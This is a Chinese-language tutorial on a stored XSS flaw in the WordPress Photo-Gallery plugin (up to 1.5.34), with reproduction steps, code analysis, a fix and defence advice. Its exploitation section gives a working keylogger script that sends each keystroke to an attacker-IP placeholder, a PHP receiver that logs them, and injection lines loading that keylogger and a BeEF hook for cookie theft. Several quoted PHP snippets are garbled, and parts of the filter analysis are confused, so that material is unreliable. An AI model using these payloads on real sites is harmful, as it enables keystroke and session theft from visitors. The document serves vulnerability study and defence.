WordPress插件中的XSS漏洞的复现分析与利用
字数 1700 2025-08-18 11:39:00
WordPress Photo-Gallery 插件存储型XSS漏洞分析与利用教学文档
漏洞概述
WordPress Photo-Gallery插件(版本<=1.5.34)存在两处存储型XSS漏洞,分别位于图片的Alt/Title文本框和Description文本框。攻击者可以通过构造恶意脚本注入到这些字段中,当其他用户访问包含这些恶意内容的页面时,脚本会在用户浏览器中执行。
实验环境搭建
所需环境
- 渗透主机: Kali Linux 2018.3
- 目标主机: Debian 9.6 x64
- 软件版本:
- WordPress 5.2.2
- Photo-Gallery插件1.5.34
工具准备
- XAMPP for Linux 5.6.30
- BeEF 0.4.7.0-alpha
- Mozilla Firefox 60.6.2
漏洞复现步骤
1. 创建测试照片库
- 在WordPress后台进入Photo-Gallery插件的"Add Galleries/Images"模块
- 新建一个名为"Test"的照片库
- 在Basic和Advanced选项中添加测试图片
2. 设置照片库信息
- 填写Gallery title、Slug和Description等信息
3. 注入XSS测试脚本
- 在图片的Alt/Title文本框中输入:
<script>alert("Hello");</script> - 在Description文本框中输入:
<script>alert("World");</script>
4. 验证漏洞存在
- 点击"Save"按钮保存设置
- 点击"Preview"按钮预览照片库
- 出现"Hello"弹窗 → Alt/Title文本框存在XSS漏洞
- 点击预览页面中的图片
- 出现"World"弹窗 → Description文本框存在XSS漏洞
漏洞分析
漏洞代码位置
漏洞位于插件处理用户输入的代码部分:
$description = str_replace(array(t'), '', WDWLibrary::get('image_description_' . $image_id, ''));
$alt = str_replace(array(t'), '', WDWLibrary::get('image_alt_text_' . $image_id, '', FALSE));
$alt = esc_html(preg_replace(a>alt));
过滤机制缺陷
$description使用默认的esc_html过滤$alt设置$esc_html为FALSE,绕过esc_html过滤- 使用的
preg_replace正则表达式/<a[a>/无法匹配<script>标签
esc_html函数分析
function esc_html( $text ) {
$safe_text = wp_check_invalid_utf8( $text );
$safe_text = _wp_specialchars( $safe_text, ENT_QUOTES );
return apply_filters( 'esc_html', $safe_text, $text );
}
wp_check_invalid_utf8: 检查无效UTF-8编码_wp_specialchars: 转换特殊字符为HTML实体- 这些过滤不足以阻止XSS攻击
漏洞修复方案
修复后的代码
$description = str_replace(array(t'), '', WDWLibrary::get('image_description_' . $image_id, 'wp_filter_post_kses'));
$alt = str_replace(array(t'), '', WDWLibrary::get('image_alt_text_' . $image_id, '', 'wp_filter_post_kses'));
$alt = preg_replace(a>alt);
关键修复点
- 使用
wp_filter_post_kses替代默认的esc_html wp_filter_post_kses函数链:function wp_filter_post_kses( $data ) { return addslashes( wp_kses( stripslashes( $data ), 'post' ) ); }wp_kses函数会删除不允许的HTML标签
漏洞利用技术
1. 键盘记录器攻击
攻击准备
- 在Kali上创建两个文件:
keyrecorder.js(键盘记录脚本)keyrecorder.php(接收键盘记录的服务端脚本)
- 启动Apache服务
keyrecorder.js代码
document.onkeypress = function(evt){
evt = evt || window.event
keyrecord = String.fromCharCode(evt.charCode)
if (keyrecord) {
var http = new XMLHttpRequest();
var param = encodeURI(keyrecord);
http.open("POST","http://[攻击者IP]/keyrecorder.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("keyrecord="+param);
}
}
keyrecorder.php代码
<?php
$key=$_POST['keyrecord'];
$record_file="keyrecord.txt";
$record_fp = fopen($record_file, "a");
fwrite($record_fp, $key);
fclose($record_fp);
?>
攻击步骤
- 在Alt/Title或Description中注入:
<script src="http://[攻击者IP]/keyrecorder.js"></script> - 保存并预览照片库
- 所有键盘输入将被记录到攻击者的
keyrecord.txt文件中
2. 使用BeEF框架攻击
攻击步骤
- 启动BeEF服务
- 注入BeEF的hook脚本:
<script src="http://[攻击者IP]:3000/hook.js"></script> - 当受害者访问页面时,BeEF将捕获会话
BeEF功能演示
- 获取Cookie:可窃取用户会话
- 链接收集:获取页面所有链接
- 环境检测:检测受害者是否使用虚拟机
防御建议
输入过滤
- 对所有用户输入进行严格过滤
- 使用
wp_filter_post_kses等专业过滤函数 - 白名单方式限制允许的HTML标签
输出编码
- 对输出到页面的内容进行编码转换
- 使用HTML实体编码、JavaScript编码等
其他措施
- 及时更新插件到最新版本(>=1.5.35)
- 实施内容安全策略(CSP)
- 设置HttpOnly标志保护Cookie
总结
Photo-Gallery插件的XSS漏洞展示了存储型XSS的严重性,攻击者可利用此漏洞进行键盘记录、会话劫持等多种攻击。防御XSS需要同时关注输入过滤和输出编码,使用专业的过滤函数如wp_kses能有效降低风险。